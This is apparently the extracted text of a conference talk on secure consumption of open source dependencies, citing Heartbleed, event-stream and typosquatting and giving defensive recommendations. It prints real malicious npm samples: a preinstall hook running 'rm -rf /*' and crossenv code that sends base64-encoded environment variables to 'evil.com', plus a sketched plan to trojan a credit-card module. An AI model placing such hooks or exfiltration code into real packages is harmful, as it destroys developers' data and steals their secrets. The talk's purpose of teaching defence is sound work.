Owning an Enterprise With Three Lines of Code: Secure Consumption of Free/Libre Open Source Software

Abstract

Today, Software is rarely developed “on the green field”: software developers are “composers” that build new systems by combining existing (Open Source) solutions. Custom code is, in many development projects, a curiosity. As a result, all software depends on open source projects, which, sometimes, are as small as three lines of code or as large as several millions lines of code. On the other hand, their use requires trust and care: with a few lines of code in an installation script, your development system can be powned or a small vulnerability in a dependency can be the root cause of one of the largest data leaks of the last years.

In this talk, I will discuss, using real world examples, the security threats of using software dependencies carelessly and provide recommendations that help to minimise this risk.

About Me

Until /one.lnum/two.lnum//two.lnum/zero.lnum/one.lnum/five.lnum
Security Expert/Architect at SAP SE
- Defining the risk-based Security Testing Strategy
- Evaluation of security testing tools (e.g., SAST, DAST)
- Roll-out of security testing tools
- Secure Software Development Life Cycle Integration
- Securing the in-bound and out-bound Open Source Process

12/2015 - 05/2016:
- Associate Professor (Senior Lecturer), The University of Sheffield, UK
- Head of the Software Assurance & Security Research Team

Since 06/2016:
- Professor (Chair in Cybersecurity), University of Exeter, UK
- Head of the Software Assurance & Security Research Team
- Available as consultancy & research collaborations
Two Events, a Common Pattern. Can You Spot it?

Attackers exploited a known software vulnerability in an external software library, i.e., not in code developed by BA (Equifax).

BA (Equifax) is liable, although, the did not develop the vulnerable code.

How we Develop Software

How it used to be
- Only few external dependencies ("Hello World" only requires system libs)
- Full control over source code

How we do it today
- Many dependencies ("Hello World" requires over 20 ext. libs)
- Only control over small fraction of source
Before we Continue, a Clarification

Types of Third-Party Software

<table>
<thead>
<tr>
<th>Proprietary Libraries</th>
<th>Outsourcing</th>
<th>Bespoke Software</th>
<th>Free/Libre</th>
<th>Open Source Software</th>
</tr>
</thead>
<tbody>
<tr>
<td>Example</td>
<td>ILNumerics</td>
<td>Device Driver</td>
<td>Apache Tomcat</td>
<td></td>
</tr>
<tr>
<td></td>
<td>High</td>
<td>Low</td>
<td>Low</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Hard</td>
<td>Medium</td>
<td>Easy</td>
<td></td>
</tr>
<tr>
<td>Access for devs</td>
<td>Depends on contract</td>
<td>Impossible</td>
<td>Possible</td>
<td></td>
</tr>
<tr>
<td>Source Modification</td>
<td>Easy</td>
<td>Hard</td>
<td>Medium</td>
<td></td>
</tr>
<tr>
<td>Support contract</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

While I focus on FLOSS today, same rules apply to proprietary or free components.

Vulnerabilities in Your Software Supply Chain: Heartbleed

Imagine
- You are the Chief Product Security Officer for a software vendor
- Your products consume many different external libraries
- Different products consume different versions of the same library

Now assume a severe vulnerability in an external library is published
- How do you decide which products to fix first?
- How do you decide how to fix (upgrade vs. downport)?

(CVE-2014-0160)
What to do?

There seem to be an easy fix: always use the latest version, i.e., update your dependencies as quickly as you can!

green: over 90% of customers on latest two releases
red: over 90% of customers on releases older than 6 years
Fast Upgrades Can Create Risks

Master plan:
- Publish a npm module for checking credit card numbers
- Wait a little bit, until a large company uses it
- Add some code, that sends the credit card numbers to your server
- Publish an update and wait

Bonus tip: The same scheme can be applied to
- Web-services and the like
- JavaScript libraries / CDNs

OK – But I do Not Want to Wait

Typosquatting:
- coffeescript vs. coffee-script vs. CoffeeScript

Actually, it is coffeescript ...

Hijacking existing packages
- Compromised accounts
- Social Engineering
Example: Adding a Crypto-Mining Dependency to Event-Stream

Timeline:
- 16th September: New major version (no automated update) of event-stream removes the dependency on flatmap-stream.
- 5th October: Someone publishes a malicious version of flatmap-stream (0.1.1) as minor update (automated updates). This version contains an obfuscated payload, stealing from a crypto-wallet (targeted attack).

As a result, all users of the popular package event-stream are potentially under attack.

Attacking The Build Environment: rimrafall (January 2015)

The package.json of rimrafall

```json
{
  "name": "rimrafall",
  "version": "1.0.0",
  "description": "...",
  "main": "index.js",
  "scripts": {
    "preinstall": "rm/uni2423-rf/uni2423/*/uni2423/.*"
  },
  "keywords": [
    "rimraf",
    "rmrf"
  ],
  "author": "João Jerónimo",
  "license": "ISC"
}
```

Look closely at line 7
What happens, if you execute
```
  npm install rimrafall
```
Attacking The Build Environment: crossenv (January 2017)

const host = 'evil.com';
const env = JSON.stringify(process.env);
const data = new Buffer(env).toString('base64');
const postData = querystring.stringify({ data });
const options = {
  hostname: host,
  port: 80,
  ...}
const req = http.request(options);
req.write(postData);
req.end();

Attacking The Build Environment: crossenv (January 2017)

const host = 'evil.com';
const env = JSON.stringify(process.env);
const data = new Buffer(env).toString('base64');
const postData = querystring.stringify({ data });
const options = {
  hostname: host,
  port: 80,
  ...}
const req = http.request(options);
req.write(postData);
req.end();

package-setup.js
- sends data to a remote host
(line 1 and 14)
- data is base 64 encoded
(line 5)

crossenv/package.json
- crossenv depends on the "real thing"
(line 15)
- adds a post install script
(line 10)

How Was This Found?

@kentdodds Hi Kent, it looks like this npm package is stealing env variables on install, using your cross-env package as bait: 

How can we minimize the risk?

Review (code review, SAST, etc.) all dependencies prior to using them ...
Been there, done that - does not work

Attacking The Build Environment: crossenv (January 2017)

How Was This Found?

@kentdodds Hi Kent, it looks like this npm package is stealing env variables on install, using your cross-env package as bait: 

How can we minimize the risk?

Review (code review, SAST, etc.) all dependencies prior to using them ...
Been there, done that - does not work
Zero: Design Your Application Securely

Make the part of your application that needs to process critical data as small as possible (minimize the amount of code that you need to trust).

- If an FLOSS library never touches confidential data, a vulnerability in that library is most likely not critical to you!

One: Select Your Dependencies Wisely

Prefer projects
- an active development community
- use build systems, programming techniques that you are familiar with
- that fit your support/release strategy
- that follow best practices in secure development
- use security testing tools
- publish regularly fixes and communicate openly about problems
- have coding guidelines (and follow them)
- The Core Infrastructure Initiative hands out badges to good citizens
- smaller components might have a smaller attack surface

Second, Document and Monitor Your Dependencies

Maintain a software inventory of all used component versions and where they are used
- There are tools that can help (but they are not perfect; e.g.:
  - your build system (e.g. paket, maven, npm)
  - OWASP dependency checker
  - Package artifacts (e.g. JFrog, Nexus)

They can also help to check license violations.
- Do not forget recursive (and hidden) dependencies
- Check daily for new published vulnerabilities
- CVEs (NVD) cover only a small fraction, many projects do not publish CVEs (e.g., only list vulnerabilities on their own website, etc.)
- Again, there are tools to help you (e.g., OWASP dependency checker, retire.js)

Third, Maintain Your Dependencies (And Applications)

- Upgrade components with security fixes and ship updates to customers
- Plan for efforts for down-porting patches
- Assign people responsible for maintaining components either
  - locally in the development team, or
  - create a global FLOSS maintenance team

Alternatively, there are also companies offering commercial support for (nearly) any FLOSS component
Fourth, Harden Your Development Environment

- Check that you download the right component and, e.g.,
  - not one with a similar name
  - or some forked github repository
- Ensure that downloads are using secure connections (https) and
  that signatures of signed packages are checked
- Use an own “artifactory” (package server) storing
  - the currently used version(s) of a component and
  - all previously used versions
- Containerize your build
- Only allow restricted network access from/to the build system/container

Secure Consumption of Third Party Libraries

Research Areas

- Analyse statically vuln. reports and ext. software repository
  - which versions/commit ranges are vulnerable
  - which API calls are vulnerable
  - how much did the API change between consumed version and the
    next fixed version
- Deriving fix recommendations
- Analyse consuming software (statically and/or dynamically)
  - is the vulnerable API actually invoked
  - does the consuming software implement protection mechanisms
  - could the consuming software implement protection mechanisms
- Can be generalised to global cost models
  - maintenance of third-party libraries
  - that allow project managers to plan average development efforts

Key Take-Aways

- You are responsible for all your dependencies
- Minimise the attack surface of your apps
- Plan effort for maintaining dependencies
- Monitor vulnerabilities in your dependencies
  - and act on them in a timely manner
- Control your dependency sources
- This applies to all dependencies
  - (neither specific to npm nor FLOSS)

Remember:
Building hard-to-break systems is harder than breaking them.

Contact:
Dr. Achim D. Brucker
Department of Computer Science
University of Exeter
Streatham Campus
Exeter, EX4 4QF, UK
a.brucker@exeter.ac.uk
@adbrucker
https://www.brucker.ch/
https://logicalhacking.com/blog/